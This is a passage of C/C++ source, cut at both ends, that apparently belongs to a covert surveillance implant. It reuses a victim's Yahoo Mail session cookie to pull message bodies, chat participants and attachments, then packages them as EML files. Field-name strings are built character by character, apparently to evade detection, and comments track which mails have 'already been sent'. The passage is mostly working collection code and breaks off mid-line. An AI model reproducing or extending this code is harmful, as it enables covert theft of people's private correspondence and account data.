znfree((LPVOID*)strMail); znfree((LPVOID*)&MailAttachment.strEncodedAttachment); return YAHOO_ALLOC_ERROR; } break; case YAHOO_ERROR: case YAHOO_ALLOC_ERROR: znfree((LPVOID*)&MailAttachment.strEncodedAttachment); znfree((LPVOID*)strMail); return dwRet; } //free attchment znfree((LPVOID*)&MailAttachment.strEncodedAttachment); } return YAHOO_SUCCESS; } //request the mail associated to an email ID DWORD YHGetMailBody(LPSTR strMailID, LPYAHOO_CONNECTION_PARAMS lpYHParams, LPSTR strCookie, LPSTR* strMailBody) { LPSTR strGetMsg = "{\"method\": \"GetMessage\",\"params\": [{\"fid\": \"%S\",\"message\": [{\"blockImages\": \"none\",\"mid\": \"%s\",\"expandCIDReferences\": true, \"enableWarnings\": true,\"restrictCSS\": true}]}]}"; LPSTR strBuffer = NULL; LPSTR strRecvBuffer = NULL; LPWSTR strReqID = NULL; LPWSTR strTmp = NULL; LPWSTR strURI = NULL; DWORD dwSize, dwRet, dwBufferSize, dwTotSize, dwError, dwMailDate=0; BOOL bWriteSection; YAHOO_MAIL_BOUNDARIES MailBoundaries; YAHOO_MAIL_FIELDS MailFields; YAHOO_MAIL_FIELDS MailNextFields; //json vars std::vector::size_type i; std::vector::size_type j; JSONValue* jValue = NULL; JSONArray jMsg, jArray; JSONObject jObj; WCHAR strRoot[] = { L'r', L'e', L's', L'u', L'l', L't', L'\0' }; //object WCHAR strMessageFld[] = { L'm', L'e', L's', L's', L'a', L'g', L'e', L'\0' }; //array WCHAR strPartFld[] = { L'p', L'a', L'r', L't', L'\0' }; //array WCHAR strDateFld[] = { L'r', L'e', L'c', L'e', L'i', L'v', L'e', L'd', L'D', L'a', L't', L'e', L'\0' }; //value //format the request id if(!YHFormatRequestID(&strReqID, lpYHParams)) { znfree((LPVOID*)&strReqID); return SOCIAL_REQUEST_BAD_COOKIE; } //get mail body strURI = (LPWSTR)zalloc(YAHOO_ALLOC_SIZE*sizeof(WCHAR)); if(strURI == NULL) { znfree((LPVOID*)&strReqID); return YAHOO_ALLOC_ERROR; } _snwprintf_s(strURI, YAHOO_ALLOC_SIZE, _TRUNCATE, L"/ws/mail/v2.0/jsonrpc?appid=YahooMailNeo&m=ListFolderThreads&wssid=%s&ymreqid=%s", lpYHParams->strWSSID, strReqID); // FIXME ARRAY znfree((LPVOID*)&strReqID); dwSize = strlen(strGetMsg) + wcslen(lpYHParams->strMailFolder) + strlen(strMailID) + 1; strBuffer = (LPSTR)zalloc(dwSize); if(strBuffer == NULL) { znfree((LPVOID*)&strURI); return YAHOO_ALLOC_ERROR; } //post buffer _snprintf_s(strBuffer, dwSize, _TRUNCATE, strGetMsg, lpYHParams->strMailFolder, strMailID); // FIXME ARRAY CheckProcessStatus(); //json command to retrieve the mail list dwRet = HttpSocialRequest(lpYHParams->strServerName, L"POST", strURI, 443, (BYTE *)strBuffer, strlen(strBuffer), (BYTE **)&strRecvBuffer, &dwBufferSize, strCookie); // FIXME ARRAY //free heap znfree((LPVOID*)&strURI); znfree((LPVOID*)&strBuffer); if(dwRet != SOCIAL_REQUEST_SUCCESS) { znfree((LPVOID*)&strRecvBuffer); return dwRet; } //parse the body jValue = JSON::Parse(strRecvBuffer); //free buffer znfree((LPVOID*)&strRecvBuffer); if(jValue != NULL && jValue->IsObject()) { jObj = jValue->AsObject(); //json root //find the result object if (jObj.find(strRoot) != jObj.end() && jObj[strRoot]->IsObject()) { jObj = jObj[strRoot]->AsObject(); if(jObj[strMessageFld]->IsArray()) { //message array jMsg = jObj[strMessageFld]->AsArray(); if(!jMsg[0]->IsObject()) { zndelete((LPVOID*)&jValue); return YAHOO_ERROR; } //json object containing the message jObj = jMsg[0]->AsObject(); //get the mail date dwMailDate = (DWORD)jObj[strDateFld]->AsNumber(); //check if this mail has already been sent // if(lpYHParams->dwLowTS > dwMailDate) // continue; //part array if(!jObj[strPartFld]->IsArray()) { zndelete((LPVOID*)&jValue); return YAHOO_ERROR; } jArray = jObj[strPartFld]->AsArray(); SecureZeroMemory(&MailFields, sizeof(YAHOO_MAIL_FIELDS)); SecureZeroMemory(&MailNextFields, sizeof(YAHOO_MAIL_FIELDS)); SecureZeroMemory(&MailBoundaries, sizeof(YAHOO_MAIL_BOUNDARIES)); dwError = 0; //loop into mail parts obj for(j=0; (dwError==0) && (jIsObject()) continue; jObj = jArray[j]->AsObject(); //get email fields of the json object dwRet = YHExtractMailFields(jObj, &MailFields, &MailBoundaries); switch(dwRet) { case YAHOO_SKIP: continue; case YAHOO_SUCCESS: break; default: //free memory and exit dwError = dwRet; continue; } //get email fields of the next object if ((j+1) < (jArray.size())) { dwRet = YHExtractMailFields(jArray[j+1]->AsObject(), &MailNextFields, NULL); if(dwRet == YAHOO_ALLOC_ERROR) { //free memory and exit dwError = dwRet; continue; } } bWriteSection = FALSE; //it there are no boundaries, and the section contains some text, write the section header if(MailBoundaries.dwTotItems == 0) { if((MailFields.strText != NULL) && (_wcsicmp(MailFields.strPartId, L"TEXT"))) bWriteSection = TRUE; } else { //if the boundary was taken from a previous section, write the section header if(wcscmp(MailBoundaries.lpBoundaries[MailBoundaries.dwCurrentItem]->strPartID, MailFields.strPartId)) { bWriteSection = TRUE; } else { if(MailBoundaries.dwTotItems > 1) bWriteSection = TRUE; } } //add the section header to the mail if(bWriteSection) { if(YHAddSectionHeader(&strTmp, &MailFields) != YAHOO_SUCCESS) { //free memory and exit dwError = dwRet; continue; } } //add the section text to the mail if(YHAddSectionText(&strTmp, &MailFields) != YAHOO_SUCCESS) { //free memory and exit dwError = dwRet; continue; } //if present, download the attachment and add it to the mail if(YHAddAttachment(&strTmp, lpYHParams, &MailFields, strMailID, strCookie) != YAHOO_SUCCESS) { //free memory and exit dwError = dwRet; continue; } //write the boundary if(MailNextFields.strPartId != NULL) { LPWSTR pStr = MailBoundaries.lpBoundaries[MailBoundaries.dwCurrentItem]->strPartID; BOOL bCloseSection = FALSE; if(!_wcsicmp(pStr, L"TEXT")) { bCloseSection = FALSE; } else if(wcsncmp(pStr, MailNextFields.strPartId, wcslen(pStr))) { bCloseSection = TRUE; } //add the boundary if(YHAddMailBoundary(&strTmp, &MailBoundaries, bCloseSection) == YAHOO_ALLOC_ERROR) { dwError = dwRet; continue; } //if a session was closed and there's another section boundary, write it (beginning of a new section) if((bCloseSection) && (MailBoundaries.dwTotItems > 0)) { //add the boundary if(YHAddMailBoundary(&strTmp, &MailBoundaries, FALSE) == YAHOO_ALLOC_ERROR) { dwError = dwRet; continue; } } } else { //this is the last section of the mail, so write a closing section boundary if(YHAddMailBoundary(&strTmp, &MailBoundaries, TRUE) == YAHOO_ALLOC_ERROR) { //free memory and exit dwError = dwRet; continue; } } //free heap YHFreeMailFields(&MailFields); YHFreeMailFields(&MailNextFields); } // end of for loop //free boundaries YHFreeBoundaries(&MailBoundaries); //in case of error, free heap and exit if(dwError) { //free memory zndelete((LPVOID*)&jValue); znfree((LPVOID*)&strTmp); YHFreeMailFields(&MailFields); YHFreeMailFields(&MailNextFields); return dwError; } if(strTmp == NULL) { zndelete((LPVOID*)&jValue); return YAHOO_SKIP; } dwTotSize = wcslen(strTmp); //convertion from LPWSTR to LPSTR *strMailBody = (LPSTR)zalloc(dwTotSize+1); if(*strMailBody == NULL) { znfree((LPVOID*)&strTmp); zndelete((LPVOID*)&jValue); return YAHOO_ALLOC_ERROR; } //converto from wide char to multi byte dwRet = wcstombs_s((size_t*)&dwSize, *strMailBody, dwTotSize+1, strTmp, _TRUNCATE); if(dwRet != 0) { //if the convertion fails, try this function ConvertToUTF8(strTmp, strMailBody); } /* for(int i=0; idwLastMailDate = dwMailDate; } } } else { //delete json value zndelete((LPVOID*)&jValue); return YAHOO_ERROR; } //delete json value zndelete((LPVOID*)&jValue); //if the mail is old, skip it if(dwMailDate == 0) return YAHOO_SKIP; return YAHOO_SUCCESS; } //get partecipants to the conversation DWORD YHGetChatInfo(__out LPYAHOO_CHAT_FIELDS lpChatFields, __in JSONObject pjHeader) { WCHAR strFromFld[] = { L'f', L'r', L'o', L'm', L'\0' }; //obj WCHAR strToFld[] = { L't', L'o', L'\0' }; //obj WCHAR strCCFld[] = { L'c', L'c', L'\0' }; //array WCHAR strBCCFld[] = { L'b', L'c', L'c', L'\0' }; //array WCHAR strEmailFld[] = { L'e', L'm', L'a', L'i', L'l', L'\0' }; //value WCHAR strNameFld[] = { L'n', L'a', L'm', L'e', L'\0' }; //value WCHAR strUserFld[] = { L'x', L'a', L'p', L'p', L'a', L'r', L'e', L'n', L't', L'l', L'y', L't', L'o', L'\0' }; //value JSONObject jObj; JSONArray jArray; JSONValue* jValue = NULL; std::vector::size_type i; WCHAR strSeparator[4]; //clear chat fields SecureZeroMemory(lpChatFields, sizeof(YAHOO_CHAT_FIELDS)); SecureZeroMemory(&strSeparator, sizeof(strSeparator)); //get the user field if(ReallocAndAppendString(&lpChatFields->strMailUser, (LPWSTR)pjHeader[strUserFld]->AsString().c_str()) != YAHOO_SUCCESS) { znfree((LPVOID*)&lpChatFields->strMailUser); return YAHOO_ALLOC_ERROR; } //get 'from' obj if(pjHeader[strFromFld]->IsObject()) { jObj = pjHeader[strFromFld]->AsObject(); //author if(ReallocAndAppendString(&lpChatFields->strAuthor, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) { znfree((LPVOID*)&lpChatFields->strAuthor); return YAHOO_ALLOC_ERROR; } //author id if(ReallocAndAppendString(&lpChatFields->strAuthorID, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) { znfree((LPVOID*)&lpChatFields->strAuthorID); return YAHOO_ALLOC_ERROR; } /* //get email (peer id) if(ReallocAndAppendString(&lpChatFields->strPeersID, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) return YAHOO_ALLOC_ERROR; //get name (peer name) //if(ReallocAndAppendString(&lpChatFields->strPeers, (LPWSTR)jObj[strNameFld]->AsString().c_str()) != YAHOO_SUCCESS) // return YAHOO_ALLOC_ERROR; //get the email as name because sometimes the name is not present if(ReallocAndAppendString(&lpChatFields->strPeers, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) return YAHOO_ALLOC_ERROR; */ } //get contacted peers if(pjHeader[strToFld]->IsArray()) { jArray = pjHeader[strToFld]->AsArray(); //get all the contacted peers for(i=0; iIsObject()) continue; //get obj jObj = jArray[i]->AsObject(); //get email (peer id) if(jObj[strEmailFld]->AsString().c_str() != NULL) { if(lpChatFields->strPeersID != NULL) wcscpy_s(strSeparator, 4, L", "); else strSeparator[0] = 0; if(ReallocAndAppendString(&lpChatFields->strPeersID, strSeparator, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) { znfree((LPVOID*)&lpChatFields->strPeersID); return YAHOO_ALLOC_ERROR; } } //get name (peer name) //if((jObj[strNameFld]->AsString().c_str() != NULL) && (jObj[strNameFld]->AsString().c_str() != L"")) //{ // if(ReallocAndAppendString(&lpChatFields->strPeers, L", ", (LPWSTR)jObj[strNameFld]->AsString().c_str()) != YAHOO_SUCCESS) // return YAHOO_ALLOC_ERROR; //} //get the email as name because sometimes the name is not present if(jObj[strEmailFld]->AsString().c_str() != NULL) { if(lpChatFields->strPeers != NULL) wcscpy_s(strSeparator, 4, L", "); else strSeparator[0] = 0; if(ReallocAndAppendString(&lpChatFields->strPeers, strSeparator, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) { znfree((LPVOID*)&lpChatFields->strPeers); return YAHOO_ALLOC_ERROR; } } strSeparator[0] = 0; } } //get 'cc' peers if(pjHeader[strCCFld]->IsArray()) { jArray = pjHeader[strCCFld]->AsArray(); //get all the contacted peers for(i=0; iIsObject()) continue; //get obj jObj = jArray[i]->AsObject(); //get email (peer id) if(jObj[strEmailFld]->AsString().c_str() != NULL) { if(lpChatFields->strPeersID != NULL) wcscpy_s(strSeparator, 4, L", "); else strSeparator[0] = 0; if(ReallocAndAppendString(&lpChatFields->strPeersID, strSeparator, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) { znfree((LPVOID*)&lpChatFields->strPeersID); return YAHOO_ALLOC_ERROR; } } /* //get name (peer name) if(jObj[strNameFld]->AsString().c_str() != NULL) { if(ReallocAndAppendString(&lpChatFields->strPeers, L", ", (LPWSTR)jObj[strNameFld]->AsString().c_str()) != YAHOO_SUCCESS) return YAHOO_ALLOC_ERROR; } */ //get the email as name because sometimes the name is not present if(jObj[strEmailFld]->AsString().c_str() != NULL) { if(lpChatFields->strPeers != NULL) wcscpy_s(strSeparator, 4, L", "); else strSeparator[0] = 0; if(ReallocAndAppendString(&lpChatFields->strPeers, strSeparator, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) { znfree((LPVOID*)&lpChatFields->strPeers); return YAHOO_ALLOC_ERROR; } } } } //get 'bcc' peers if(pjHeader[strBCCFld]->IsArray()) { jArray = pjHeader[strBCCFld]->AsArray(); //get all the contacted peers for(i=0; iIsObject()) continue; //get obj jObj = jArray[i]->AsObject(); //get email (peer id) if(jObj[strEmailFld]->AsString().c_str() != NULL) { if(lpChatFields->strPeersID != NULL) wcscpy_s(strSeparator, 4, L", "); else strSeparator[0] = 0; if(ReallocAndAppendString(&lpChatFields->strPeersID, strSeparator, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) { znfree((LPVOID*)&lpChatFields->strPeersID); return YAHOO_ALLOC_ERROR; } } /* //get name (peer name) if(jObj[strNameFld]->AsString().c_str() != NULL) { if(ReallocAndAppendString(&lpChatFields->strPeers, L", ", (LPWSTR)jObj[strNameFld]->AsString().c_str()) != YAHOO_SUCCESS) return YAHOO_ALLOC_ERROR; } */ //get the email as name because sometimes the name is not present if(jObj[strEmailFld]->AsString().c_str() != NULL) { if(lpChatFields->strPeers != NULL) wcscpy_s(strSeparator, 4, L", "); else strSeparator[0] = 0; if(ReallocAndAppendString(&lpChatFields->strPeers, strSeparator, (LPWSTR)jObj[strEmailFld]->AsString().c_str()) != YAHOO_SUCCESS) { znfree((LPVOID*)&lpChatFields->strPeers); return YAHOO_ALLOC_ERROR; } } } } return YAHOO_SUCCESS; } //request the chat associated to the id DWORD YHGetChat(LPYAHOO_CHAT_FIELDS lpChatFields, LPSTR strChatID, LPYAHOO_CONNECTION_PARAMS lpYHParams, LPSTR strCookie) { LPSTR strGetMsg = "{\"method\": \"GetMessage\",\"params\": [{\"fid\": \"%S\",\"message\": [{\"blockImages\": \"none\",\"mid\": \"%s\",\"expandCIDReferences\": true, \"enableWarnings\": true,\"restrictCSS\": true}]}]}"; LPSTR strBuffer = NULL; LPSTR strRecvBuffer = NULL; LPWSTR strReqID = NULL; LPWSTR strTmp = NULL; LPWSTR strURI = NULL; DWORD dwSize, dwRet, dwBufferSize, dwTotSize, dwError, dwMailDate=0; BOOL bWriteSection; //json vars std::vector::size_type j; JSONValue* jValue = NULL; JSONArray jMsg, jArray; JSONObject jObj; WCHAR strRoot[] = { L'r', L'e', L's', L'u', L'l', L't', L'\0' }; //object WCHAR strMessageFld[] = { L'm', L'e', L's', L's', L'a', L'g', L'e', L'\0' }; //array WCHAR strPartFld[] = { L'p', L'a', L'r', L't', L'\0' }; //array WCHAR strDateFld[] = { L'r', L'e', L'c', L'e', L'i', L'v', L'e', L'd', L'D', L'a', L't', L'e', L'\0' }; //value //format the request id if(!YHFormatRequestID(&strReqID, lpYHParams)) { znfree((LPVOID*)&strReqID); return SOCIAL_REQUEST_BAD_COOKIE; } //get mail body strURI = (LPWSTR)zalloc(YAHOO_ALLOC_SIZE*sizeof(WCHAR)); if(strURI == NULL) { znfree((LPVOID*)&strReqID); return YAHOO_ALLOC_ERROR; } _snwprintf_s(strURI, YAHOO_ALLOC_SIZE, _TRUNCATE, L"/ws/mail/v2.0/jsonrpc?appid=YahooMailNeo&m=ListFolderThreads&wssid=%s&ymreqid=%s", lpYHParams->strWSSID, strReqID); // FIXME ARRAY znfree((LPVOID*)&strReqID); dwSize = strlen(strGetMsg) + wcslen(lpYHParams->strMailFolder) + strlen(strChatID) + 1; strBuffer = (LPSTR)zalloc(dwSize); if(strBuffer == NULL) { znfree((LPVOID*)&strURI); return YAHOO_ALLOC_ERROR; } //post buffer _snprintf_s(strBuffer, dwSize, _TRUNCATE, strGetMsg, lpYHParams->strMailFolder, strChatID); CheckProcessStatus(); //json command to retrieve the mail list dwRet = HttpSocialRequest(lpYHParams->strServerName, L"POST", strURI, 443, (BYTE *)strBuffer, strlen(strBuffer), (BYTE **)&strRecvBuffer, &dwBufferSize, strCookie); // FIXME ARRAY //free heap znfree((LPVOID*)&strURI); znfree((LPVOID*)&strBuffer); if(dwRet != SOCIAL_REQUEST_SUCCESS) { znfree((LPVOID*)&strRecvBuffer); return dwRet; } //parse the body jValue = JSON::Parse(strRecvBuffer); //free buffer znfree((LPVOID*)&strRecvBuffer); if(jValue != NULL && jValue->IsObject()) { jObj = jValue->AsObject(); //json root //find the result object if (jObj.find(strRoot) != jObj.end() && jObj[strRoot]->IsObject()) { jObj = jObj[strRoot]->AsObject(); if(jObj[strMessageFld]->IsArray()) { //message array jMsg = jObj[strMessageFld]->AsArray(); SecureZeroMemory(lpChatFields, sizeof(YAHOO_CHAT_FIELDS)); if(!jMsg[0]->IsObject()) { zndelete((LPVOID*)&jValue); return YAHOO_ERROR; } //json object containing the message jObj = jMsg[0]->AsObject(); //get the mail date dwMailDate = (DWORD)jObj[strDateFld]->AsNumber(); /* //check if this mail has already been sent if(lpYHParams->dwLowTS > dwMailDate) { zndelete(jValue); return YAHOO_SUCCESS; } */ //get chat info if(YHGetChatInfo(lpChatFields, jObj) != YAHOO_SUCCESS) { //free memory zndelete((LPVOID*)&jValue); znfree((LPVOID*)&strTmp); YHFreeChatFields(lpChatFields); return dwError; } //part array if(!jObj[strPartFld]->IsArray()) return YAHOO_ERROR; jArray = jObj[strPartFld]->AsArray(); //loop into mail parts obj for(j=0, dwError=0; (dwError==0) && (jIsObject()) continue; jObj = jArray[j]->AsObject(); //get email fields of the json object dwRet = YHExtractChatFields(jObj, lpChatFields); switch(dwRet) { case YAHOO_SKIP: continue; case YAHOO_SUCCESS: break; default: //free memory and exit dwError = dwRet; continue; } //if the section type is != text/html, skip it if(_wcsicmp(lpChatFields->strType, L"text") || _wcsicmp(lpChatFields->strSubType, L"html")) { znfree((LPVOID*)&lpChatFields->strText); continue; } //add the conversation to the buffer if(YHAddChat(&strTmp, lpChatFields) != YAHOO_SUCCESS) { //free memory and exit dwError = dwRet; continue; } //free the text field znfree((LPVOID*)&lpChatFields->strText); } // end of for loop //in case of error, free heap and exit if(dwError) { //free memory zndelete((LPVOID*)&jValue); znfree((LPVOID*)&strTmp); YHFreeChatFields(lpChatFields); return dwError; } if(strTmp == NULL) { zndelete((LPVOID*)&jValue); return YAHOO_SKIP; } dwTotSize = wcslen(strTmp) + 1; //save the conversation in strText lpChatFields->strText = (LPWSTR)zalloc(dwTotSize * sizeof(WCHAR)); if(lpChatFields->strText == NULL) { YHFreeChatFields(lpChatFields); znfree((LPVOID*)&strTmp); zndelete((LPVOID*)&jValue); return YAHOO_ALLOC_ERROR; } //copy the chat to strText wcscpy_s(lpChatFields->strText, dwTotSize, strTmp); //free and set to null znfree((LPVOID*)&strTmp); //save the mail date lpYHParams->dwLastMailDate = dwMailDate; } } } else { //delete json value zndelete((LPVOID*)&jValue); return YAHOO_ERROR; } //delete json value zndelete((LPVOID*)&jValue); //if the mail is old, skip it if(dwMailDate == 0) return YAHOO_SKIP; return YAHOO_SUCCESS; } //add a new conversation section DWORD YHAddChat(LPWSTR *strChat, LPYAHOO_CHAT_FIELDS pFields) { //text if(pFields->strText != NULL) { if(ReallocAndAppendString(strChat, pFields->strText) != YAHOO_SUCCESS) { znfree((LPVOID*)strChat); return YAHOO_ALLOC_ERROR; } } return YAHOO_SUCCESS; } /* //verify if it'a valid utf string BOOL VerifyWString(LPWSTR* pStr) { DWORD dwLen = wcslen(*pStr); for(DWORD i=0; i 0xFF) *pStr[i] = 0x20; //replace the invalid chars to blanks } return TRUE; } */ DWORD ConvertToUTF8(LPWSTR pIn, LPSTR* pOut) { DWORD dwSize; //return the number of chars needed by dest buffer dwSize = WideCharToMultiByte(CP_UTF8, 0, pIn, -1, 0, 0, 0 , 0); //alloc dest buffer *pOut = (LPSTR)zalloc(dwSize); if(*pOut == NULL) return YAHOO_ALLOC_ERROR; //conversion WideCharToMultiByte(CP_UTF8, 0, pIn, -1, *pOut, dwSize, 0 , 0); return YAHOO_SUCCESS; } //encode a string with the algorithm specified and save it to the input string DWORD AsciiBufToBase64(LPWSTR* pStr, LPWSTR strEncodingAlg) { LPSTR strTmp=NULL, strMB=NULL; LPWSTR pOldBuf = NULL; DWORD dwEncSize, dwNewSize, dwLines, dwLen, dwLineLen=72; size_t dwConv; if(*pStr == NULL) return YAHOO_ERROR; if(_wcsicmp(strEncodingAlg, L"base64")) return YAHOO_ERROR; //convertion to UTF charset if(ConvertToUTF8(*pStr, &strMB) != YAHOO_SUCCESS) return YAHOO_ERROR; //encode the attachment strTmp = base64_encodeY((LPBYTE)strMB, strlen(strMB)); znfree((LPVOID*)&strMB); if(strTmp == NULL) return YAHOO_ERROR; dwEncSize = strlen(strTmp); //determine the number of lines dwLines = ((int)(dwEncSize / dwLineLen)) + 1; dwNewSize = dwEncSize + (dwLines*2) + 1; //add 2 chars for each line, to store the CRLF bytes //realloc mem for the encoded string + (CRLF*nOfLines) pOldBuf = *pStr; *pStr = (LPWSTR)realloc(*pStr, dwNewSize * sizeof(WCHAR)); if(*pStr == NULL) { znfree((LPVOID*)&pOldBuf); znfree((LPVOID*)&strTmp); return YAHOO_ALLOC_ERROR; } SecureZeroMemory(*pStr, dwNewSize * sizeof(WCHAR)); //alloc a temp buffer for conversion LPWSTR strConv = (LPWSTR)zalloc((dwLineLen+1) * sizeof(WCHAR)); dwLen = dwLineLen; //add CRLF to attachment for(DWORD i=0, j=0, dwTotConv=0; istrAttachment == NULL) || (pAttachment->dwSize == 0)) return YAHOO_ERROR; if(!_wcsicmp(strEncodingAlg, L"base64")) { //encode the attachment strTmp = base64_encodeY((LPBYTE)pAttachment->strAttachment, pAttachment->dwSize); if(strTmp == NULL) return YAHOO_ALLOC_ERROR; dwEncSize = strlen(strTmp); } else { return YAHOO_ERROR; } //determine the number of lines dwLines = ((int)(dwEncSize / dwLineLen)) + 1; dwNewSize = dwEncSize + (dwLines*2) + 1; //add 2 chars for each line, to store the CRLF bytes //alloc mem for the encoded attachment + (CRLF*nOfLines) pAttachment->strEncodedAttachment = (LPWSTR)zalloc(dwNewSize * sizeof(WCHAR)); if(pAttachment->strEncodedAttachment == NULL) { znfree((LPVOID*)&strTmp); return YAHOO_ALLOC_ERROR; } SecureZeroMemory(pAttachment->strEncodedAttachment, dwNewSize * sizeof(WCHAR)); //alloc a temp buffer for conversion LPWSTR strConv = (LPWSTR)zalloc((dwLineLen+1) * sizeof(WCHAR)); if(strConv == NULL) { znfree((LPVOID*)&strTmp); znfree((LPVOID*)&pAttachment->strAttachment); znfree((LPVOID*)&pAttachment->strEncodedAttachment); return YAHOO_ALLOC_ERROR; } dwLen = dwLineLen; //add CRLF to attachment for(DWORD i=0, j=0, dwTotConv=0; istrEncodedAttachment[j], strConv); //add CRLF wcscpy(&pAttachment->strEncodedAttachment[j+(dwConv-1)], L"\r\n\0"); //nr of total converted bytes dwTotConv += (dwConv-1); } //free heap and set to null znfree((LPVOID*)&strConv); znfree((LPVOID*)&strTmp); znfree((LPVOID*)&pAttachment->strAttachment); return YAHOO_SUCCESS; } //request the mail associated to an email ID DWORD YHGetMailAttachment(LPSTR strMailID, LPYAHOO_CONNECTION_PARAMS pYHParams, LPYAHOO_MAIL_FIELDS pYHMailFields, LPSTR strCookie, LPYAHOO_MAIL_ATTACHMENT pAttachment) { LPSTR strRecvBuffer = NULL; LPSTR strEncoded = NULL; LPWSTR strURI = NULL; DWORD dwRet, dwBufferSize; //get mail body strURI = (LPWSTR)zalloc(YAHOO_ALLOC_SIZE*sizeof(WCHAR)); if(strURI == NULL) return YAHOO_ALLOC_ERROR; strEncoded = EncodeURL(strMailID); if(strEncoded == NULL) { znfree((LPVOID*)&strURI); return YAHOO_ERROR; } _snwprintf_s(strURI, YAHOO_ALLOC_SIZE, _TRUNCATE, L"/ya/download?mid=%S&fid=%s&pid=%s&tnef=&clean=0", strEncoded, pYHParams->strMailFolder, pYHMailFields->strPartId); znfree((LPVOID*)&strEncoded); CheckProcessStatus(); //command to retrieve the attachment dwRet = HttpSocialRequest(pYHParams->strServerName, L"GET", strURI, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBufferSize, strCookie); znfree((LPVOID*)&strURI); if(dwRet != SOCIAL_REQUEST_SUCCESS) { //free heap znfree((LPVOID*)&strRecvBuffer); return YAHOO_ERROR; } //save the attachment pAttachment->strAttachment = (LPSTR)malloc(dwBufferSize); if(pAttachment->strAttachment != NULL) { memcpy_s(pAttachment->strAttachment, dwBufferSize, strRecvBuffer, dwBufferSize); pAttachment->dwSize = dwBufferSize; //encode the attachment dwRet = YHEncodeAttachment(pAttachment, pYHMailFields->strEncoding); } else dwRet = YAHOO_ALLOC_ERROR; //free heap znfree((LPVOID*)&strRecvBuffer); return dwRet; } //assemble email according to eml format DWORD YHAssembleMail(LPSTR strMailHeader, LPSTR strMailBody, LPSTR *strMail) { DWORD dwSize; //total size of the mail dwSize = strlen(strMailHeader) + strlen(strMailBody) + 2 + 2; //add CRLF between the header and the body *strMail = (LPSTR)zalloc(dwSize); if(*strMail == NULL) return YAHOO_ALLOC_ERROR; SecureZeroMemory(*strMail, dwSize); sprintf_s(*strMail, dwSize, "%s\r\n%s", strMailHeader, strMailBody); return YAHOO_SUCCESS; } //search for boundary value for multipart mails //(es: boundary="----=_NextPart_1CF_1D5C_7951AA2F.3FAEF881") void YHGetBoundaryValue(LPWSTR strHeader, LPWSTR * strBoundary) { LPWSTR pSubFrom, pSubTo; DWORD dwLen; pSubFrom = wcsstr(strHeader, L"boundary="); if(pSubFrom != NULL) { pSubFrom += 10; pSubTo = wcsstr(pSubFrom, L"\""); if(pSubTo != NULL) { dwLen = (pSubTo-pSubFrom) + 1; *strBoundary = (LPWSTR)malloc(dwLen*sizeof(WCHAR)); if(*strBoundary == NULL) return; wcsncpy_s(*strBoundary, dwLen, pSubFrom, dwLen-1); } } } //add a new section to the mail DWORD YHAddSectionText(LPWSTR *strMail, LPYAHOO_MAIL_FIELDS pFields) { LPWSTR strQP = NULL; DWORD dwMailSize; /* strField = (LPWSTR)malloc(YAHOO_ALLOC_SIZE*sizeof(WCHAR)); if(strField == NULL) return YAHOO_ALLOC_ERROR; */ //mail body size if(*strMail != NULL) dwMailSize = wcslen(*strMail); else dwMailSize = 0; //(text) if(pFields->strText != NULL) { if(!_wcsicmp(pFields->strEncoding, L"quoted-printable")) { //buffer convertion to quoted-printable if(AsciiBufToQP(pFields->strText, wcslen(pFields->strText)+1, &strQP) != YAHOO_SUCCESS) { znfree((LPVOID*)&strQP); return YAHOO_ALLOC_ERROR; } //text if(ReallocAndAppendString(strMail, strQP) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); znfree((LPVOID*)&strQP); return YAHOO_ALLOC_ERROR; } //free memory znfree((LPVOID*)&strQP); } else if(!_wcsicmp(pFields->strEncoding, L"base64")) { //base64 encoding if(AsciiBufToBase64(&pFields->strText, pFields->strEncoding) != YAHOO_SUCCESS) { znfree((LPVOID*)&pFields->strText); return YAHOO_ALLOC_ERROR; } //text if(ReallocAndAppendString(strMail, pFields->strText) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); return YAHOO_ALLOC_ERROR; } } else { //text if(ReallocAndAppendString(strMail, pFields->strText) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); return YAHOO_ALLOC_ERROR; } } //wcscpy(strField, L"\r\n"); if(ReallocAndAppendString(strMail, L"\r\n") != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); return YAHOO_ALLOC_ERROR; } } return YAHOO_SUCCESS; } //add a section header to the mail DWORD YHAddSectionHeader(LPWSTR *strMail, LPYAHOO_MAIL_FIELDS pFields) { LPWSTR strField = NULL; DWORD dwMailSize; BOOL bUTF8 = FALSE, bBoundary = FALSE; strField = (LPWSTR)malloc(YAHOO_ALLOC_SIZE * sizeof(WCHAR)); if(strField == NULL) return YAHOO_ALLOC_ERROR; //mail body size if(*strMail != NULL) dwMailSize = wcslen(*strMail); else dwMailSize = 0; //Content-Type: (type/subtype) if(pFields->strType != NULL) { swprintf_s(strField, YAHOO_ALLOC_SIZE, L"Content-Type: %s/%s; ", pFields->strType, pFields->strSubType); if(ReallocAndAppendString(strMail, strField) != YAHOO_SUCCESS) { znfree((LPVOID*)strMail); znfree((LPVOID*)&strField); return YAHOO_ALLOC_ERROR; } } //\t(typeParams) if(pFields->strTypeParams != NULL) { WCHAR *pStr = wcsstr(pFields->strTypeParams, L"charset"); BOOL bFound = FALSE; int i=0; //if the charset is != UTF-8, use the UTF-8 charset because it's the one used by json arrays //(in json structure the data are always encoded with the UTF-8 charset) if((pFields->strTypeParams != NULL) && (pStr != NULL) && (!wcsstr(pFields->strTypeParams, L"UTF-8"))) { //search the end of the charset field to see if there are more information for(i=0; pStr[i]!=0; i++) { if(pStr[i] == ';') { pStr = &pStr[i+1]; bFound = TRUE; break; } } //set the charset field if(bFound) { swprintf_s(strField, YAHOO_ALLOC_SIZE, L"\t%s; %s\r\n", L"charset=UTF-8", pStr); bUTF8 = TRUE; } else swprintf_s(strField, YAHOO_ALLOC_SIZE, 